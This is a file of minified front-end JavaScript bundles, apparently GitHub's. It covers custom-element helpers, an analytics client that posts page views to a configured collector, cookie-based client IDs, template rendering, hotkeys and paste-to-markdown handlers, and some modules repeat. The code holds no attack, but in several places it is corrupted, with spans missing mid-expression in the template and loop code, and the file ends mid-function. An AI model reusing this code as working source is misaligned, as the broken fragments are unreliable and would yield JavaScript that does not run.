d=o.lastIndexOf(":"),m=Math.max(0,o.lastIndexOf("#"))||o.length;yield{type:o.slice(0,d),tag:o.slice(d+1,m),method:o.slice(m+1)||"handleEvent"}}}i(r,"bindings");function a(t){for(const o of r(t))t.addEventListener(o.type,g)}i(a,"bindActions");function f(t,o){const d=t.tagName.toLowerCase();if(t.shadowRoot){for(const m of t.shadowRoot.querySelectorAll(`[data-target~="${d}.${o}"]`))if(!m.closest(d))return m}for(const m of t.querySelectorAll(`[data-target~="${d}.${o}"]`))if(m.closest(d)===t)return m}i(f,"findTarget");function A(t,o){const d=t.tagName.toLowerCase(),m=[];if(t.shadowRoot)for(const k of t.shadowRoot.querySelectorAll(`[data-targets~="${d}.${o}"]`))k.closest(d)||m.push(k);for(const k of t.querySelectorAll(`[data-targets~="${d}.${o}"]`))k.closest(d)===t&&m.push(k);return m}i(A,"findTargets");function P(t,o){return Object.defineProperty(t,o,{configurable:!0,get(){return f(this,o)}})}i(P,"target");function I(t,o){return Object.defineProperty(t,o,{configurable:!0,get(){return A(this,o)}})}i(I,"targets");function T(t){const o=t.name.replace(/([A-Z]($|[a-z]))/g,"-$1").replace(/(^-|-Element$)/g,"").toLowerCase();window.customElements.get(o)||(window[t.name]=t,window.customElements.define(o,t))}i(T,"register");function M(t){for(const o of t.querySelectorAll("template[data-shadowroot]"))o.parentElement===t&&t.attachShadow({mode:o.getAttribute("data-shadowroot")==="closed"?"closed":"open"}).append(o.content.cloneNode(!0))}i(M,"autoShadowRoot");const R=new WeakMap;function x(t,o){R.has(t)||R.set(t,[]),R.get(t).push(o)}i(x,"attr");function y(t,o){o||(o=S(Object.getPrototypeOf(t)));for(const d of o){const m=t[d],k=b(d);let N={configurable:!0,get(){return this.getAttribute(k)||""},set(L){this.setAttribute(k,L||"")}};typeof m=="number"?N={configurable:!0,get(){return Number(this.getAttribute(k)||0)},set(L){this.setAttribute(k,L)}}:typeof m=="boolean"&&(N={configurable:!0,get(){return this.hasAttribute(k)},set(L){this.toggleAttribute(k,L)}}),Object.defineProperty(t,d,N),d in t&&!t.hasAttribute(k)&&N.set.call(t,m)}}i(y,"initializeAttrs");function S(t){const o=new Set;let d=t;for(;d&&d!==HTMLElement;){const m=R.get(d)||[];for(const k of m)o.add(k);d=Object.getPrototypeOf(d)}return o}i(S,"getAttrNames");function b(t){return`data-${t.replace(/([A-Z]($|[a-z]))/g,"-$1")}`.replace(/--/g,"-").toLowerCase()}i(b,"attrToAttributeName");function w(t){let o=t.observedAttributes||[];Object.defineProperty(t,"observedAttributes",{configurable:!0,get(){return[...S(t.prototype)].map(b).concat(o)},set(d){o=d}})}i(w,"defineObservedAttributes");const v=new WeakSet;function s(t,o){t.toggleAttribute("data-catalyst",!0),customElements.upgrade(t),v.add(t),M(t),y(t),E(t),o&&o.call(t),t.shadowRoot&&_(t.shadowRoot)}i(s,"initializeInstance");function e(t){w(t),T(t)}i(e,"initializeClass");function n(t){return v.has(t)}i(n,"initialized");function c(t){const o=t.prototype.connectedCallback;t.prototype.connectedCallback=function(){s(this,o)},e(t)}i(c,"controller")},33241:(O,F,C)=>{C.d(F,{BX:()=>u,Z4:()=>_,ck:()=>p});var h=C(47142),E=C(80425);class _{constructor(r,a,f){this.providers=[],this.scopeType="static_items_page",this.title=r,this.scopeId=a,this.providers=[new l(f)]}}i(_,"StaticItemsPage");class l{constructor(r){this.hasCommands=!0,this.debounce=0;const a=r.length;this.items=r.map((f,A)=>(f.priority=a-A,f))}async fetch(r){return{results:this.fuzzyFilter(this.items,r)}}enabledFor(){return!0}clearCache(){}fuzzyFilter(r,a,f=0){if(a.isBlank())return r;const A=[];for(const P of r)P.calculateScore(a.text)>f&&A.push(P);return A}}i(l,"StaticItemsProvider");class p{constructor(r){this.score=0,this.position="",this.title=r.title,this.priority=r.priority,this.group=r.group,this.subtitle=r.subtitle,this.matchFields=r.matchFields,this.typeahead=r.typeahead,this.hint=r.hint,this.icon=r.icon}get matchingFields(){return this.matchFields?this.matchFields:[this.title]}get key(){var r;return`${this.title}-${this.group}-${this.subtitle}-${(r=this.matchFields)==null?void 0:r.join("-")}`}get id(){return this._id||(this._id=(0,E.k)(this.key).toString()),this._id}calculateScore(r){const a=this.matchingFields.map(f=>this.calculateScoreForField({field:f,queryText:r}));return Math.max(...a)}calculateScoreForField({field:r,queryText:a}){return(0,h.CD)(a,r)?(0,h.Gs)(a,r):-1/0}}i(p,"Item");class u{fuzzyFilter(r,a,f=0){if(a.isBlank())return r;const A=[];for(const P of r)P.calculateScore(a.text)>f&&A.push(P);return A}}i(u,"ProviderBase")},86058:(O,F,C)=>{C.d(F,{R:()=>g});function h(){let r;try{r=window.top.document.referrer}catch{if(window.parent)try{r=window.parent.document.referrer}catch{}}return r===""&&(r=document.referrer),r}i(h,"getReferrer");function E(){try{return`${screen.width}x${screen.height}`}catch{return"unknown"}}i(E,"getScreenResolution");function _(){let r=0,a=0;try{return typeof window.innerWidth=="number"?(a=window.innerWidth,r=window.innerHeight):document.documentElement!=null&&document.documentElement.clientWidth!=null?(a=document.documentElement.clientWidth,r=document.documentElement.clientHeight):document.body!=null&&document.body.clientWidth!=null&&(a=document.body.clientWidth,r=document.body.clientHeight),`${a}x${r}`}catch{return"unknown"}}i(_,"getBrowserResolution");function l(){return navigator.languages?navigator.languages.join(","):navigator.language||""}i(l,"getBrowserLanguages");function p(){return{referrer:h(),user_agent:navigator.userAgent,screen_resolution:E(),browser_resolution:_(),browser_languages:l(),pixel_ratio:window.devicePixelRatio,timestamp:Date.now(),tz_seconds:new Date().getTimezoneOffset()*-60}}i(p,"getRequestContext");var u=C(82918);class g{constructor(a){this.options=a}get collectorUrl(){return this.options.collectorUrl}get clientId(){return this.options.clientId?this.options.clientId:(0,u.b)()}createEvent(a){return{page:location.href,title:document.title,context:{...this.options.baseContext,...a}}}sendPageView(a){const f=this.createEvent(a);this.send({page_views:[f]})}sendEvent(a,f){const A={...this.createEvent(f),type:a};this.send({events:[A]})}send({page_views:a,events:f}){const A={client_id:this.clientId,page_views:a,events:f,request_context:p()},P=JSON.stringify(A);try{if(navigator.sendBeacon){navigator.sendBeacon(this.collectorUrl,P);return}}catch{}fetch(this.collectorUrl,{method:"POST",cache:"no-cache",headers:{"Content-Type":"application/json"},body:P,keepalive:!1})}}i(g,"AnalyticsClient")},82918:(O,F,C)=>{C.d(F,{b:()=>p});let h;function E(){return`${Math.round(Math.random()*(Math.pow(2,31)-1))}.${Math.round(Date.now()/1e3)}`}i(E,"generateClientId");function _(u){const g=`GH1.1.${u}`,r=Date.now(),a=new Date(r+1*365*86400*1e3).toUTCString();let{domain:f}=document;f.endsWith(".github.com")&&(f="github.com"),document.cookie=`_octo=${g}; expires=${a}; path=/; domain=${f}; secure; samesite=lax`}i(_,"setClientIdCookie");function l(){let u;const r=document.cookie.match(/_octo=([^;]+)/g);if(!r)return;let a=[0,0];for(const f of r){const[,A]=f.split("="),[,P,...I]=A.split("."),T=P.split("-").map(Number);T>a&&(a=T,u=I.join("."))}return u}i(l,"getClientIdFromCookie");function p(){try{const u=l();if(u)return u;const g=E();return _(g),g}catch{return h||(h=E()),h}}i(p,"getOrCreateClientId")},88149:(O,F,C)=>{C.d(F,{n:()=>h});function h(E="ha"){let _;const l={},p=document.head.querySelectorAll(`meta[name^="${E}-"]`);for(const u of Array.from(p)){const{name:g,content:r}=u,a=g.replace(`${E}-`,"").replace(/-/g,"_");a==="url"?_=r:l[a]=r}if(!_)throw new Error(`AnalyticsClient ${E}-url meta tag not found`);return{collectorUrl:_,...Object.keys(l).length>0?{baseContext:l}:{}}}i(h,"getOptionsFromMeta")},38772:(O,F,C)=>{C.d(F,{dy:()=>S,sY:()=>b,Au:()=>s});var h=C(69567);const E=new WeakSet;function _(e){return E.has(e)}i(_,"isDirective");function l(e,n){return _(n)?(n(e),!0):!1}i(l,"processDirective");function p(e){return(...n)=>{const c=e(...n);return E.add(c),c}}i(p,"directive");const u=new WeakMap;class g{constructor(n,c){this.element=n,this.type=c,this.element.addEventListener(this.type,this),u.get(this.element).set(this.type,this)}set(n){typeof n=="function"?this.handleEvent=n.bind(this.element):typeof n=="object"&&typeof n.handleEvent=="function"?this.handleEvent=n.handleEvent.bind(n):(this.element.removeEventListener(this.type,this),u.get(this.element).delete(this.type))}static for(n){u.has(n.element)||u.set(n.element,new Map);const c=n.attributeName.slice(2),t=u.get(n.element);return t.has(c)?t.get(c):new g(n.element,c)}}i(g,"EventHandler");function r(e,n){return e instanceof h.sV&&e.attributeName.startsWith("on")?(g.for(e).set(n),e.element.removeAttributeNS(e.attributeNamespace,e.attributeName),!0):!1}i(r,"processEvent");function a(e,n){return n instanceof x&&e instanceof h.GZ?(n.renderInto(e),!0):!1}i(a,"processSubTemplate");function f(e,n){return n instanceof DocumentFragment&&e instanceof h.GZ?(n.childNodes.length&&e.replace(...n.childNodes),!0):!1}i(f,"processDocumentFragment");function A(e){return typeof e=="object"&&Symbol.iterator in e}i(A,"isIterable");function P(e,n){if(!A(n))return!1;if(e instanceof h.GZ){const c=[];for(const t of n)if(t instanceof x){const o=document.createDocumentFragment();t.renderInto(o),c.push(...o.childNodes)}else t instanceof DocumentFragment?c.push(...t.childNodes):c.push(String(t));return c.length&&e.replace(...c),!0}else return e.value=Array.from(n).join(" "),!0}i(P,"processIterable");function I(e,n){l(e,n)||(0,h.W_)(e,n)||r(e,n)||a(e,n)||f(e,n)||P(e,n)||(0,h.Al)(e,n)}i(I,"processPart");const T=new WeakMap,M=new WeakMap,R=new WeakMap;class x{constructor(n,c,t){this.strings=n,this.values=c,this.processor=t}get template(){if(T.has(this.strings))return T.get(this.strings);{const n=document.createElement("template"),c=this.strings.length-1;return n.innerHTML=this.strings.reduce((t,o,d)=>t+o+(dn=>{w.has(n)||w.set(n,{i:e.length});const c=w.get(n);for(let t=0;t{tn=>{if(!(n instanceof h.GZ))return;const c=document.createElement("template");c.innerHTML=e;const t=document.importNode(c.content,!0);n.replace(...t.childNodes)})},15205:(O,F,C)=>{C.d(F,{Z:()=>E});function h(..._){return JSON.stringify(_,(l,p)=>typeof p=="object"?p:String(p))}i(h,"defaultHash");function E(_,l={}){const{hash:p=h,cache:u=new Map}=l;return function(...g){const r=p.apply(this,g);if(u.has(r))return u.get(r);let a=_.apply(this,g);return a instanceof Promise&&(a=a.catch(f=>{throw u.delete(r),f})),u.set(r,a),a}}i(E,"memoize")},69567:(O,F,C)=>{C.d(F,{sV:()=>u,GZ:()=>A,R:()=>v,AQ:()=>P,W_:()=>T,Al:()=>I,XK:()=>R});function*h(s){let e="",n=0,c=!1;for(let t=0;ttypeof c=="string"?c:c.value).join("");this.element.setAttributeNS(this.attr.namespaceURI,this.attr.name,n)}}}i(g,"AttributeValueSetter");var r=function(s,e,n){if(!e.has(s))throw new TypeError("attempted to set private field on non-instance");return e.set(s,n),n},a=function(s,e){if(!e.has(s))throw new TypeError("attempted to get private field on non-instance");return e.get(s)},f;class A{constructor(e,n){this.expression=n,f.set(this,void 0),r(this,f,[e]),e.textContent=""}get value(){return a(this,f).map(e=>e.textContent).join("")}set value(e){this.replace(e)}get previousSibling(){return a(this,f)[0].previousSibling}get nextSibling(){return a(this,f)[a(this,f).length-1].nextSibling}replace(...e){const n=e.map(c=>typeof c=="string"?new Text(c):c);n.length||n.push(new Text("")),a(this,f)[0].before(...n);for(const c of a(this,f))c.remove();r(this,f,n)}}i(A,"NodeTemplatePart"),f=new WeakMap;function P(s){return{createCallback(e,n,c){this.processCallback(e,n,c)},processCallback(e,n,c){var t;if(!(typeof c!="object"||!c)){for(const o of n)if(o.expression in c){const d=(t=c[o.expression])!==null&&t!==void 0?t:"";s(o,d)}}}}}i(P,"createProcessor");function I(s,e){s.value=String(e)}i(I,"processPropertyIdentity");function T(s,e){return typeof e=="boolean"&&s instanceof u&&typeof s.element[s.attributeName]=="boolean"?(s.booleanValue=e,!0):!1}i(T,"processBooleanAttribute");const M=P(I),R=P((s,e)=>{T(s,e)||I(s,e)});var x=function(s,e,n){if(!e.has(s))throw new TypeError("attempted to set private field on non-instance");return e.set(s,n),n},y=function(s,e){if(!e.has(s))throw new TypeError("attempted to get private field on non-instance");return e.get(s)},S,b;function*w(s){const e=s.ownerDocument.createTreeWalker(s,NodeFilter.SHOW_TEXT|NodeFilter.SHOW_ELEMENT,null,!1);let n;for(;n=e.nextNode();)if(n instanceof Element&&n.hasAttributes())for(let c=0;c{var D=Object.defineProperty;var c=(x,C)=>D(x,"name",{value:C,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_hotkey_dist_index-9f48bd"],{46263:(x,C,N)=>{N.d(C,{D:()=>b,P:()=>p});function p(_,m=0,{start:y=!0,middle:u=!0,once:w=!1}={}){let h=0,l,f=!1;function v(...k){if(f)return;const T=Date.now()-h;h=Date.now(),y?(y=!1,_.apply(this,k),w&&v.cancel()):(u&&T{h=Date.now(),_.apply(this,k),w&&v.cancel()},u?m-T:m))}return c(v,"fn"),v.cancel=()=>{clearTimeout(l),f=!0},v}c(p,"throttle");function b(_,m=0,{start:y=!1,middle:u=!1,once:w=!1}={}){return p(_,m,{start:y,middle:u,once:w})}c(b,"debounce")},11793:(x,C,N)=>{N.d(C,{EL:()=>u,N9:()=>W,Tz:()=>S});class p{constructor(o){this.children=[],this.parent=o}delete(o){const r=this.children.indexOf(o);return r===-1?!1:(this.children=this.children.slice(0,r).concat(this.children.slice(r+1)),this.children.length===0&&this.parent.delete(this),!0)}add(o){return this.children.push(o),this}}c(p,"Leaf");class b{constructor(o){this.parent=null,this.children={},this.parent=o||null}get(o){return this.children[o]}insert(o){let r=this;for(let g=0;gd.filter(n=>n!=="")).filter(d=>d.length>0)}c(y,"expandHotkeyToEdges");function u(a){const{ctrlKey:o,altKey:r,metaKey:g,key:d}=a,n=[],e=[o,r,g,h(a)];for(const[t,i]of e.entries())i&&n.push(w[t]);return w.includes(d)||n.push(d),n.join("+")}c(u,"hotkey");const w=["Control","Alt","Meta","Shift"];function h(a){const{shiftKey:o,code:r,key:g}=a;return o&&!(r.startsWith("Key")&&g.toUpperCase()===g)}c(h,"showShift");const l=new b,f=new WeakMap;let v=l,k=null,T=[];function P(){T=[],k=null,v=l}c(P,"resetTriePosition");function I(a){if(a.defaultPrevented||!(a.target instanceof Node))return;if(_(a.target)){const r=a.target;if(!r.id||!r.ownerDocument.querySelector(`[data-hotkey-scope="${r.id}"]`))return}k!=null&&window.clearTimeout(k),k=window.setTimeout(P,1500);const o=v.get(u(a));if(!o){P();return}if(T.push(u(a)),v=o,o instanceof p){const r=a.target;let g=!1,d;const n=_(r);for(let e=o.children.length-1;e>=0;e-=1){d=o.children[e];const t=d.getAttribute("data-hotkey-scope");if(!n&&!t||n&&r.id===t){g=!0;break}}d&&g&&(m(d,T),a.preventDefault()),P()}}c(I,"keyDownHandler");function W(a,o){Object.keys(l.children).length===0&&document.addEventListener("keydown",I);const g=y(o||a.getAttribute("data-hotkey")||"").map(d=>l.insert(d).add(a));f.set(a,g)}c(W,"install");function S(a){const o=f.get(a);if(o&&o.length)for(const r of o)r&&r.delete(a);Object.keys(l.children).length===0&&document.removeEventListener("keydown",I)}c(S,"uninstall")},86058:(x,C,N)=>{N.d(C,{R:()=>w});function p(){let h;try{h=window.top.document.referrer}catch{if(window.parent)try{h=window.parent.document.referrer}catch{}}return h===""&&(h=document.referrer),h}c(p,"getReferrer");function b(){try{return`${screen.width}x${screen.height}`}catch{return"unknown"}}c(b,"getScreenResolution");function _(){let h=0,l=0;try{return typeof window.innerWidth=="number"?(l=window.innerWidth,h=window.innerHeight):document.documentElement!=null&&document.documentElement.clientWidth!=null?(l=document.documentElement.clientWidth,h=document.documentElement.clientHeight):document.body!=null&&document.body.clientWidth!=null&&(l=document.body.clientWidth,h=document.body.clientHeight),`${l}x${h}`}catch{return"unknown"}}c(_,"getBrowserResolution");function m(){return navigator.languages?navigator.languages.join(","):navigator.language||""}c(m,"getBrowserLanguages");function y(){return{referrer:p(),user_agent:navigator.userAgent,screen_resolution:b(),browser_resolution:_(),browser_languages:m(),pixel_ratio:window.devicePixelRatio,timestamp:Date.now(),tz_seconds:new Date().getTimezoneOffset()*-60}}c(y,"getRequestContext");var u=N(82918);class w{constructor(l){this.options=l}get collectorUrl(){return this.options.collectorUrl}get clientId(){return this.options.clientId?this.options.clientId:(0,u.b)()}createEvent(l){return{page:location.href,title:document.title,context:{...this.options.baseContext,...l}}}sendPageView(l){const f=this.createEvent(l);this.send({page_views:[f]})}sendEvent(l,f){const v={...this.createEvent(f),type:l};this.send({events:[v]})}send({page_views:l,events:f}){const v={client_id:this.clientId,page_views:l,events:f,request_context:y()},k=JSON.stringify(v);try{if(navigator.sendBeacon){navigator.sendBeacon(this.collectorUrl,k);return}}catch{}fetch(this.collectorUrl,{method:"POST",cache:"no-cache",headers:{"Content-Type":"application/json"},body:k,keepalive:!1})}}c(w,"AnalyticsClient")},82918:(x,C,N)=>{N.d(C,{b:()=>y});let p;function b(){return`${Math.round(Math.random()*(Math.pow(2,31)-1))}.${Math.round(Date.now()/1e3)}`}c(b,"generateClientId");function _(u){const w=`GH1.1.${u}`,h=Date.now(),l=new Date(h+1*365*86400*1e3).toUTCString();let{domain:f}=document;f.endsWith(".github.com")&&(f="github.com"),document.cookie=`_octo=${w}; expires=${l}; path=/; domain=${f}; secure; samesite=lax`}c(_,"setClientIdCookie");function m(){let u;const h=document.cookie.match(/_octo=([^;]+)/g);if(!h)return;let l=[0,0];for(const f of h){const[,v]=f.split("="),[,k,...T]=v.split("."),P=k.split("-").map(Number);P>l&&(l=P,u=T.join("."))}return u}c(m,"getClientIdFromCookie");function y(){try{const u=m();if(u)return u;const w=b();return _(w),w}catch{return p||(p=b()),p}}c(y,"getOrCreateClientId")},88149:(x,C,N)=>{N.d(C,{n:()=>p});function p(b="ha"){let _;const m={},y=document.head.querySelectorAll(`meta[name^="${b}-"]`);for(const u of Array.from(y)){const{name:w,content:h}=u,l=w.replace(`${b}-`,"").replace(/-/g,"_");l==="url"?_=h:m[l]=h}if(!_)throw new Error(`AnalyticsClient ${b}-url meta tag not found`);return{collectorUrl:_,...Object.keys(m).length>0?{baseContext:m}:{}}}c(p,"getOptionsFromMeta")},38772:(x,C,N)=>{N.d(C,{dy:()=>o,sY:()=>r,Au:()=>n});var p=N(69567);const b=new WeakSet;function _(e){return b.has(e)}c(_,"isDirective");function m(e,t){return _(t)?(t(e),!0):!1}c(m,"processDirective");function y(e){return(...t)=>{const i=e(...t);return b.add(i),i}}c(y,"directive");const u=new WeakMap;class w{constructor(t,i){this.element=t,this.type=i,this.element.addEventListener(this.type,this),u.get(this.element).set(this.type,this)}set(t){typeof t=="function"?this.handleEvent=t.bind(this.element):typeof t=="object"&&typeof t.handleEvent=="function"?this.handleEvent=t.handleEvent.bind(t):(this.element.removeEventListener(this.type,this),u.get(this.element).delete(this.type))}static for(t){u.has(t.element)||u.set(t.element,new Map);const i=t.attributeName.slice(2),s=u.get(t.element);return s.has(i)?s.get(i):new w(t.element,i)}}c(w,"EventHandler");function h(e,t){return e instanceof p.sV&&e.attributeName.startsWith("on")?(w.for(e).set(t),e.element.removeAttributeNS(e.attributeNamespace,e.attributeName),!0):!1}c(h,"processEvent");function l(e,t){return t instanceof S&&e instanceof p.GZ?(t.renderInto(e),!0):!1}c(l,"processSubTemplate");function f(e,t){return t instanceof DocumentFragment&&e instanceof p.GZ?(t.childNodes.length&&e.replace(...t.childNodes),!0):!1}c(f,"processDocumentFragment");function v(e){return typeof e=="object"&&Symbol.iterator in e}c(v,"isIterable");function k(e,t){if(!v(t))return!1;if(e instanceof p.GZ){const i=[];for(const s of t)if(s instanceof S){const E=document.createDocumentFragment();s.renderInto(E),i.push(...E.childNodes)}else s instanceof DocumentFragment?i.push(...s.childNodes):i.push(String(s));return i.length&&e.replace(...i),!0}else return e.value=Array.from(t).join(" "),!0}c(k,"processIterable");function T(e,t){m(e,t)||(0,p.W_)(e,t)||h(e,t)||l(e,t)||f(e,t)||k(e,t)||(0,p.Al)(e,t)}c(T,"processPart");const P=new WeakMap,I=new WeakMap,W=new WeakMap;class S{constructor(t,i,s){this.strings=t,this.values=i,this.processor=s}get template(){if(P.has(this.strings))return P.get(this.strings);{const t=document.createElement("template"),i=this.strings.length-1;return t.innerHTML=this.strings.reduce((s,E,F)=>s+E+(Ft=>{g.has(t)||g.set(t,{i:e.length});const i=g.get(t);for(let s=0;s{st=>{if(!(t instanceof p.GZ))return;const i=document.createElement("template");i.innerHTML=e;const s=document.importNode(i.content,!0);t.replace(...s.childNodes)})},69567:(x,C,N)=>{N.d(C,{sV:()=>u,GZ:()=>v,R:()=>d,AQ:()=>k,W_:()=>P,Al:()=>T,XK:()=>W});function*p(n){let e="",t=0,i=!1;for(let s=0;stypeof i=="string"?i:i.value).join("");this.element.setAttributeNS(this.attr.namespaceURI,this.attr.name,t)}}}c(w,"AttributeValueSetter");var h=function(n,e,t){if(!e.has(n))throw new TypeError("attempted to set private field on non-instance");return e.set(n,t),t},l=function(n,e){if(!e.has(n))throw new TypeError("attempted to get private field on non-instance");return e.get(n)},f;class v{constructor(e,t){this.expression=t,f.set(this,void 0),h(this,f,[e]),e.textContent=""}get value(){return l(this,f).map(e=>e.textContent).join("")}set value(e){this.replace(e)}get previousSibling(){return l(this,f)[0].previousSibling}get nextSibling(){return l(this,f)[l(this,f).length-1].nextSibling}replace(...e){const t=e.map(i=>typeof i=="string"?new Text(i):i);t.length||t.push(new Text("")),l(this,f)[0].before(...t);for(const i of l(this,f))i.remove();h(this,f,t)}}c(v,"NodeTemplatePart"),f=new WeakMap;function k(n){return{createCallback(e,t,i){this.processCallback(e,t,i)},processCallback(e,t,i){var s;if(!(typeof i!="object"||!i)){for(const E of t)if(E.expression in i){const F=(s=i[E.expression])!==null&&s!==void 0?s:"";n(E,F)}}}}}c(k,"createProcessor");function T(n,e){n.value=String(e)}c(T,"processPropertyIdentity");function P(n,e){return typeof e=="boolean"&&n instanceof u&&typeof n.element[n.attributeName]=="boolean"?(n.booleanValue=e,!0):!1}c(P,"processBooleanAttribute");const I=k(T),W=k((n,e)=>{P(n,e)||T(n,e)});var S=function(n,e,t){if(!e.has(n))throw new TypeError("attempted to set private field on non-instance");return e.set(n,t),t},a=function(n,e){if(!e.has(n))throw new TypeError("attempted to get private field on non-instance");return e.get(n)},o,r;function*g(n){const e=n.ownerDocument.createTreeWalker(n,NodeFilter.SHOW_TEXT|NodeFilter.SHOW_ELEMENT,null,!1);let t;for(;t=e.nextNode();)if(t instanceof Element&&t.hasAttributes())for(let i=0;i{var he=Object.defineProperty;var i=(N,M)=>he(N,"name",{value:M,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["vendors-node_modules_github_paste-markdown_dist_index_esm_js-node_modules_github_quote-select-df2537"],{52769:(N,M,E)=>{"use strict";E.d(M,{Ld:()=>oe});function b(f,y){var k,C,O;const q=f.value.slice(0,(k=f.selectionStart)!==null&&k!==void 0?k:void 0),Y=f.value.slice((C=f.selectionEnd)!==null&&C!==void 0?C:void 0);let J=!0;f.contentEditable="true";try{J=document.execCommand("insertText",!1,y)}catch{J=!1}if(f.contentEditable="false",J&&!f.value.slice(0,(O=f.selectionStart)!==null&&O!==void 0?O:void 0).endsWith(y)&&(J=!1),!J){try{document.execCommand("ms-beginUndoUnit")}catch{}f.value=q+y+Y;try{document.execCommand("ms-endUndoUnit")}catch{}f.dispatchEvent(new CustomEvent("change",{bubbles:!0,cancelable:!0}))}}i(b,"insertText");const _=new WeakMap;function h(f){const{currentTarget:y}=f,k=f.code==="KeyV"&&(f.ctrlKey||f.metaKey)&&f.shiftKey;(k||k&&f.altKey)&&_.set(y,!0)}i(h,"setSkipFormattingFlag");function v(f){const{currentTarget:y}=f;_.delete(y)}i(v,"unsetSkipFormattedFlag");function e(f){var y;return(y=_.get(f))!==null&&y!==void 0?y:!1}i(e,"shouldSkipFormatting");function o(f,...y){f.addEventListener("keydown",h);for(const k of y)k(f);f.addEventListener("paste",v)}i(o,"installAround");function t(f){f.removeEventListener("keydown",h),f.removeEventListener("paste",v)}i(t,"uninstall$5");function n(f){f.addEventListener("paste",l)}i(n,"install$4");function r(f){f.removeEventListener("paste",l)}i(r,"uninstall$4");function l(f){const y=f.clipboardData,{currentTarget:k}=f;if(e(k)||!y||!c(y))return;const C=f.currentTarget;if(!(C instanceof HTMLTextAreaElement))return;let O=y.getData("text/plain");const q=y.getData("text/html"),Y=q.replace(/\u00A0/g," ").replace(/\uC2A0/g," ");if(!q||(O=O.trim(),!O))return;const Z=new DOMParser().parseFromString(Y,"text/html"),Q=Z.createTreeWalker(Z.body,NodeFilter.SHOW_ELEMENT,fe=>fe.parentNode&&s(fe.parentNode)?NodeFilter.FILTER_REJECT:NodeFilter.FILTER_ACCEPT),se=u(O,Q);se!==O&&(f.stopPropagation(),f.preventDefault(),b(C,se))}i(l,"onPaste$4");function u(f,y){var k;let C=y.firstChild(),O=f,q=0,Y=0;const J=1e4;for(;C&&Y=0)if(s(C)){const se=m(C,Z);O=O.slice(0,Q)+se+O.slice(Q+Z.length),q=Q+se.length}else q=Q+Z.length;C=y.nextNode()}return Y===J?f:O}i(u,"convertToMarkdown");function a(f){return!f||(f==null?void 0:f.trim().length)===0}i(a,"isEmptyString");function s(f){var y;return((y=f.tagName)===null||y===void 0?void 0:y.toLowerCase())==="a"&&f.hasAttribute("href")}i(s,"isLink");function c(f){return f.types.includes("text/html")}i(c,"hasHTML");function m(f,y){const k=f.href||"";let C="";return g(f)?C=y:d(f)||p(k,y)?C=k:C=`[${y}](${k})`,C}i(m,"linkify$2");function d(f){return f.className.indexOf("commit-link")>=0||!!f.getAttribute("data-hovercard-type")&&f.getAttribute("data-hovercard-type")!=="user"}i(d,"isSpecialLink");function p(f,y){return f=f.slice(-1)==="/"?f.slice(0,-1):f,y=y.slice(-1)==="/"?y.slice(0,-1):y,f.toLowerCase()===y.toLowerCase()}i(p,"areEqualLinks");function g(f){var y;return((y=f.textContent)===null||y===void 0?void 0:y.slice(0,1))==="@"&&f.getAttribute("data-hovercard-type")==="user"}i(g,"isUserMention");function w(f){f.addEventListener("dragover",$),f.addEventListener("drop",I),f.addEventListener("paste",z)}i(w,"install$3");function x(f){f.removeEventListener("dragover",$),f.removeEventListener("drop",I),f.removeEventListener("paste",z)}i(x,"uninstall$3");function I(f){const y=f.dataTransfer;if(!y||ee(y)||!te(y))return;const k=ne(y);if(!k.some(T))return;f.stopPropagation(),f.preventDefault();const C=f.currentTarget;C instanceof HTMLTextAreaElement&&b(C,k.map(X).join(""))}i(I,"onDrop$1");function $(f){const y=f.dataTransfer;y&&(y.dropEffect="link")}i($,"onDragover$1");function z(f){const{currentTarget:y}=f;if(e(y))return;const k=f.clipboardData;if(!k||!te(k))return;const C=ne(k);if(!C.some(T))return;f.stopPropagation(),f.preventDefault();const O=f.currentTarget;O instanceof HTMLTextAreaElement&&b(O,C.map(X).join(""))}i(z,"onPaste$3");function X(f){return T(f)?` +![](${f}) +`:f}i(X,"linkify$1");function ee(f){return Array.from(f.types).indexOf("Files")>=0}i(ee,"hasFile$1");function te(f){return Array.from(f.types).indexOf("text/uri-list")>=0}i(te,"hasLink");function ne(f){return(f.getData("text/uri-list")||"").split(`\r +`)}i(ne,"extractLinks");const P=/\.(gif|png|jpe?g)$/i;function T(f){return P.test(f)}i(T,"isImageLink");function A(f){f.addEventListener("paste",S)}i(A,"install$2");function R(f){f.removeEventListener("paste",S)}i(R,"uninstall$2");function S(f){const{currentTarget:y}=f;if(e(y))return;const k=f.clipboardData;if(!k||!F(k))return;const C=f.currentTarget;if(!(C instanceof HTMLTextAreaElement))return;const O=k.getData("text/plain");if(!O||!H(O)||D(C))return;const q=C.value.substring(C.selectionStart,C.selectionEnd);!q.length||H(q.trim())||(f.stopPropagation(),f.preventDefault(),b(C,U(q,O)))}i(S,"onPaste$2");function F(f){return Array.from(f.types).includes("text/plain")}i(F,"hasPlainText");function D(f){const y=f.selectionStart||0;return y>1?f.value.substring(y-2,y)==="](":!1}i(D,"isWithinLink");function U(f,y){return`[${f}](${y})`}i(U,"linkify");function H(f){return/^https?:\/\//i.test(f)}i(H,"isURL");function B(f){f.addEventListener("dragover",ce),f.addEventListener("drop",G),f.addEventListener("paste",ie)}i(B,"install$1");function re(f){f.removeEventListener("dragover",ce),f.removeEventListener("drop",G),f.removeEventListener("paste",ie)}i(re,"uninstall$1");function G(f){const y=f.dataTransfer;if(!y||le(y))return;const k=L(y);if(!k)return;f.stopPropagation(),f.preventDefault();const C=f.currentTarget;C instanceof HTMLTextAreaElement&&b(C,k)}i(G,"onDrop");function ce(f){const y=f.dataTransfer;y&&(y.dropEffect="copy")}i(ce,"onDragover");function ie(f){const{currentTarget:y}=f;if(e(y)||!f.clipboardData)return;const k=L(f.clipboardData);if(!k)return;f.stopPropagation(),f.preventDefault();const C=f.currentTarget;C instanceof HTMLTextAreaElement&&b(C,k)}i(ie,"onPaste$1");function le(f){return Array.from(f.types).indexOf("Files")>=0}i(le,"hasFile");function ae(f){const y="\xA0";return(f.textContent||"").trim().replace(/\|/g,"\\|").replace(/\n/g," ")||y}i(ae,"columnText");function de(f){return Array.from(f.querySelectorAll("td, th")).map(ae)}i(de,"tableHeaders");function ue(f){const y=Array.from(f.querySelectorAll("tr")),k=y.shift();if(!k)return"";const C=de(k),O=C.map(()=>"--"),q=`${C.join(" | ")} +${O.join(" | ")} +`,Y=y.map(J=>Array.from(J.querySelectorAll("td")).map(ae).join(" | ")).join(` +`);return` +${q}${Y} + +`}i(ue,"tableMarkdown");function 